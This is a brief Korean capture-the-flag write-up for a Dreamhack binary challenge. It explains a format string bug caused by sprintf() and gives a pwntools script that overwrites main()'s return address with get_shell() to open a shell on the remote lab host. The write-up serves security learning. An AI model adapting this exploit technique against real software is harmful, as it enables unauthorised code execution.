sprintf() 함수는 끝 널 문자를 계산하지 않고 배열에 작성된 바이트 수를 리턴
따라서 heap_buf가 format string의 역할을 해 FSB 발생
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
REMOTE = True
if not REMOTE:
r = process('./release/basic_exploitation_003')
else:
r = remote('host3.dreamhack.games', 포트번호)
get_shell = 0x8048669 # get_shell()
r.send(b'%156c' + p32(get_shell))
r.interactive()
|
cs |
서식 지정자를 이용해서 stack_buf에 들어가는 문자열의 길이를 늘릴 수 있고,
main()의 return address를 get_shell()의 주소로 덮으면 셸을 획득